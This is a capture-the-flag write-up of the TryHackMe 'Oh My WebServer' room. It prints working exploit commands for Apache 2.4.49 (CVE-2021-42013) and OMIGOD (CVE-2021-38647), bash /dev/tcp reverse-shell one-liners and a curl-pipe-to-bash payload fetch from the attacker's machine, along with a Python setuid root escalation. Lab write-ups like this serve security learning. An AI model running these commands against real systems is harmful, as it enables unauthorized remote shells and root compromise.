Introduction

Oh My WebServer is room made by big man tinyb0y on TryHackMe. It can be found here

Here is write up on how i successfully compromised and obtainned user and root flags

Methodolgy

Nmap scan
Getting user reverse shell
Getting root reverse shell

Nmap scan on the target host

└─$ nmap -A -vv -Pn --open -oN nmap.txt 10.10.214.39
# Nmap 7.92 scan initiated Tue Mar  8 19:19:00 2022 as: 
Nmap scan report for 10.10.214.39
Host is up, received user-set (0.68s latency).
Scanned at 2022-03-08 19:19:00 EAT for 65s
Not shown: 998 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e0:d1:88:76:2a:93:79:d3:91:04:6d:25:16:0e:56:d4 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMlfGBGWZkPg98VnvD+FVeesHsQwmtoJfMOMhifMjxD9AEluFQNVnoyxyQi5y9O2/AN/MO+l57li33lHiVjD1eglBjB3Lkzz3tpRJSmGn2Ug3jRypShkSJ9VkUVFElw8MXke62w3+9pi+S0Ub1DqcttGH8TqihiWvqJbJYnecqjdcka1uKPdPna0gleow9JiaAH3X4EMFdcXZDOGgnOaZId2mEXFDeNNYFZpS+EOcLgXaAp1NobUckE9NXvE73qw+pBNo69m3z4MG7/cJNIsQiFpm5yqgCKJGjhwGFp4zAMXOD23lj1g+iQlwrchwY5nBEHHae1PjQwLjwuWebjWR+bWPalPVYa4d8+15TjjgV8VW/Rac3rTX+A/buyVxUSMhkBtn7fQ2sLoMPPn7vRDo3ggGl5IZaYIvSYRDk9nadsZk+YKUCSgFf97z0PK278vbrPwjJTyyScAnjvs+oLnD/bAdja4uwOOS2CHehjzipVmWf7zR3srIfjZQ4aAUmeh8=
|   256 91:18:5c:2c:5e:f8:99:3c:9a:1f:04:24:30:0e:aa:9b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLf6FvNwGNtpra24lyJ4YWPqB8olwPXhKdr6gSW6Dc+oXdZJbQPtpD7cph3nvR9sQQnTKGiG69XyGKh0ervYI1U=
|   256 d1:63:2a:36:dd:94:cf:3c:57:3e:8a:e8:85:00:ca:f6 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEzBDIQu+cp4gApnTbTbtmqljyAcr/Za8goiY57VM+uq
80/tcp open  http    syn-ack Apache httpd 2.4.49 ((Unix))
|_http-favicon: Unknown favicon MD5: 02FD5D10B62C7BC5AD03F8B0F105323C
|_http-title: Consult - Business Consultancy Agency Template | Home
|_http-server-header: Apache/2.4.49 (Unix)
| http-methods: 
|   Supported Methods: GET POST OPTIONS HEAD TRACE
|_  Potentially risky methods: TRACE
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Mar  8 19:20:05 2022 -- 1 IP address (1 host up) scanned in 65.22 seconds

output

PORT STATE	SERVICE VERSION
22/tcp open	OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
80/tcp open	Apache httpd 2.4.49 ((Unix))

Trying lower hanging fruit vulnerabilities (Service version vulnerabilities). After research, The version of web server is vulnerable to CVE-2021-42013. Check from this blog.

Getting user reverse shell

Getting reverse shell

From the blog exploit is like

└─$ curl "http://10.10.214.39/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" --data 'echo Content-Type: text/plain; echo; bash -c "exec bash -i &>/dev/tcp/10.4.54.226/4444 <&1"'

got shell as user daemon

└─$ nc -nlvp 4444          
Listening on 0.0.0.0 4444
Connection received on 10.10.214.136 35818
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
daemon@4a70924bafa0:/bin$ id
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
daemon@4a70924bafa0:/bin$ whoami
whoami
daemon
daemon@4a70924bafa0:/bin$ 

daemon@4a70924bafa0:/bin$ 

After uploading linpeas in target machine and executing in target machine, We can see there is python capability in Capabilities linpeas outputs

╔══════════╣ Capabilities
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#capabilities                                                                                                    
Current capabilities:                                                                                                                                                         
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+i
CapInh: 00000000a80425fb
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 00000000a80425fb
CapAmb: 0000000000000000

Shell capabilities:
0x0000000000000000=
CapInh: 00000000a80425fb
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 00000000a80425fb
CapAmb: 0000000000000000

Files with capabilities (limited to 50):
/usr/bin/python3.7 = cap_setuid+ep

Or you can use

daemon@4a70924bafa0:/tmp# getcap -r / 2>/dev/null
/usr/bin/python3.7 = cap_setuid+ep
daemon@4a70924bafa0:/tmp# 
daemon@4a70924bafa0:/tmp# 
daemon@4a70924bafa0:/tmp# 

After some googling found a nice site which have well explained about linux capabilities, check it here.
From the blog now you can be root inside docker by running the following and getting user.txt flag

daemon@4a70924bafa0:/bin$ /usr/bin/python3.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'
root@4a70924bafa0:/bin# id
uid=0(root) gid=1(daemon) groups=1(daemon)
root@4a70924bafa0:/bin# su root
root@4a70924bafa0:/bin# cd ~
root@4a70924bafa0:~# ls
user.txt
root@4a70924bafa0:~# ls -la
total 28
drwx------ 1 root root   4096 Oct  8 08:28 .
drwxr-xr-x 1 root root   4096 Feb 23 06:21 ..
lrwxrwxrwx 1 root root      9 Oct  8 05:43 .bash_history -> /dev/null
-rw-r--r-- 1 root root    570 Jan 31  2010 .bashrc
drwxr-xr-x 3 root root   4096 Oct  8 05:37 .cache
-rw-r--r-- 1 root root    148 Aug 17  2015 .profile
-rw------- 1 root daemon   12 Oct  8 08:28 .python_history
-rw-r--r-- 1 root root     38 Oct  8 05:47 user.txt
root@4a70924bafa0:~# cat user.txt 
   THM{REDACTED}
root@4a70924bafa0:~#

Getting root reverse shell and flag

Run ifconfig
To see if there is other hosts attached to this machine because it is docker, So am finding any other hosts in this dockers network

root@4a70924bafa0:/tmp# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.2  netmask 255.255.0.0  broadcast 172.17.255.255
        ether 02:42:ac:11:00:02  txqueuelen 0  (Ethernet)
        RX packets 3181  bytes 904486 (883.2 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 2154  bytes 2869534 (2.7 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 2  bytes 100 (100.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 2  bytes 100 (100.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Now we can see there is 172.17.0.2 so lets identify other hosts. There is no nmap in the machine. Let’s download a static nmap binary to our machine and then download it in the target machine from our machine
Yoc can download it from here

started local python server in my machine as

└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.18.142 - - [08/Mar/2022 21:52:55] "GET /nmap HTTP/1.1" 200 -

And in the target machine there was curl program installed just go to /tmp/ dir in target docker machine and download nmap binary from your machine and executable permissiom

root@4a70924bafa0:/tmp# curl http://<your machineip>:8000/nmap -O
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 5805k  100 5805k    0     0   197k      0  0:00:29  0:00:29 --:--:--  292k
root@4a70924bafa0:/tmp# ls
nmap
root@4a70924bafa0:/tmp# chmod +x nmap

scanning the whole network for any available host, In case you need more about nmap check my blog post here

root@4a70924bafa0:/tmp# ./nmap -p- 172.17.0.* -vv -Pn

At the bottom of nmap output one host is identified as up and running some services

Nmap scan report for 172.17.0.255 [host down, received no-response]
Initiating SYN Stealth Scan at 17:03
Scanning ip-172-17-0-1.eu-west-1.compute.internal (172.17.0.1) [65535 ports]
Discovered open port 80/tcp on 172.17.0.1
Discovered open port 22/tcp on 172.17.0.1
Increasing send delay for 172.17.0.1 from 0 to 5 due to 11 out of 30 dropped probes since last increase.

so let dig into this identified host with nmap

root@4a70924bafa0:/tmp# ./nmap -p- 172.17.0.1 -vv -Pn --min-rate 5000

Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2022-03-08 17:05 UTC
Unable to find nmap-services!  Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Initiating ARP Ping Scan at 17:05
Scanning 172.17.0.1 [1 port]
Completed ARP Ping Scan at 17:05, 0.21s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:05
Completed Parallel DNS resolution of 1 host. at 17:05, 0.00s elapsed
Initiating SYN Stealth Scan at 17:05
Scanning ip-172-17-0-1.eu-west-1.compute.internal (172.17.0.1) [65535 ports]
Discovered open port 80/tcp on 172.17.0.1
Discovered open port 22/tcp on 172.17.0.1
Discovered open port 5986/tcp on 172.17.0.1
Increasing send delay for 172.17.0.1 from 0 to 5 due to 11 out of 36 dropped probes since last increase.
Completed SYN Stealth Scan at 17:06, 39.55s elapsed (65535 total ports)
Nmap scan report for ip-172-17-0-1.eu-west-1.compute.internal (172.17.0.1)
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up, received arp-response (-0.0019s latency).
Scanned at 2022-03-08 17:05:53 UTC for 40s
Not shown: 65531 filtered ports
Reason: 65531 no-responses
PORT     STATE  SERVICE REASON
22/tcp   open   ssh     syn-ack ttl 64
80/tcp   open   http    syn-ack ttl 64
5985/tcp closed unknown reset ttl 64
5986/tcp open   unknown syn-ack ttl 64
MAC Address: 02:42:9D:37:F1:91 (Unknown)

Read data files from: /etc
Nmap done: 1 IP address (1 host up) scanned in 39.77 seconds
           Raw packets sent: 196630 (8.652MB) | Rcvd: 36 (1.476KB)

After some research on every port opened in this host.

since we have just run static nmap can not give us more information about services running in target host. Found 5985,5986 - Pentesting OMI in hacktrickz here. as interesting

From a blog there is CVE-2021-38647 Let’s check if it is still vulnerable. exploit can be found here

Steps to exploit this vulnerability

Download exploit above in your local machine and start python server in current directory

└─$ python3 -m http.server 8000                                                        
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ..

In the target machine in /tmp/ dir download exploit using curl and give executable permission

root@4a70924bafa0:/tmp# curl 10.4.54.226:8000/omigod.py -O
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2720  100  2720    0     0   2020      0  0:00:01  0:00:01 --:--:--  2019
root@4a70924bafa0:/tmp# chmod +x omigod.py 

run commands in remote machine 172.17.0.1 using exploit syntax as shown in download page.

Example

root@4a70924bafa0:/tmp# python3 omigod.py -t 172.17.0.1  -c id
uid=0(root) gid=0(root) groups=0(root)
root@4a70924bafa0:/tmp# 
root@4a70924bafa0:/tmp# 

Or To get remote shell in you machine by forcing the target 172.17.0.1 to download exploit from you machine containing rev shell payload and execute it

root@4a70924bafa0:/tmp# python3 omigod.py -t 172.17.0.1  -c bash -c 'curl 10.4.54.226:8000/omi.sh |bash'

Contents of omi.sh maybe. bash -c 'exec bash -i &>/dev/tcp/10.4.54.216/1234 <&1'

And you have shell in your netcat listener and boom!! There we got root flag

└─$ nc -nlvp 1234                 
Listening on 0.0.0.0 1234
Connection received on 10.10.214.136 37914
bash: cannot set terminal process group (1868): Inappropriate ioctl for device
bash: no job control in this shell
root@ubuntu:/var/opt/microsoft/scx/tmp# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/var/opt/microsoft/scx/tmp# cd /root/
cd /root/
root@ubuntu:/root# ls -la
ls -la
total 56
drwx------  5 root root  4096 Feb 23 05:20 .
drwxr-xr-x 20 root root  4096 Sep 30 05:05 ..
-rw-------  1 root root   169 Oct  8 08:24 .bash_history
-rw-r--r--  1 root root  3106 Dec  5  2019 .bashrc
drwxr-xr-x  3 root root  4096 Feb 23 05:20 .local
-rw-r--r--  1 root root   161 Dec  5  2019 .profile
-rw-------  1 root root  1024 Sep 30 05:53 .rnd
drwx------  2 root root  4096 Sep 30 05:19 .ssh
-rw-------  1 root root 12125 Oct  8 05:05 .viminfo
-rw-r--r--  1 root root   277 Oct  8 04:33 .wget-hsts
-rw-r--r--  1 root root    38 Oct  8 05:48 root.txt
drwxr-xr-x  3 root root  4096 Sep 30 05:20 snap
root@ubuntu:/root# cat root.txt 
cat root.txt
THM{REDACTED}
root@ubuntu:/root#

Congrats to tinyb0y

Oh My WebServer machine

Introduction

Methodolgy

Nmap scan on the target host

Getting user reverse shell

Getting reverse shell

Getting root reverse shell and flag

Steps to exploit this vulnerability

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Contents

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Oh My WebServer machine

Introduction

Methodolgy

Nmap scan on the target host

Getting user reverse shell

Getting reverse shell

Getting root reverse shell and flag

Steps to exploit this vulnerability

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Contents

Further Reading

OwaspQuiz machine

backtrack machine

Understanding Nmap

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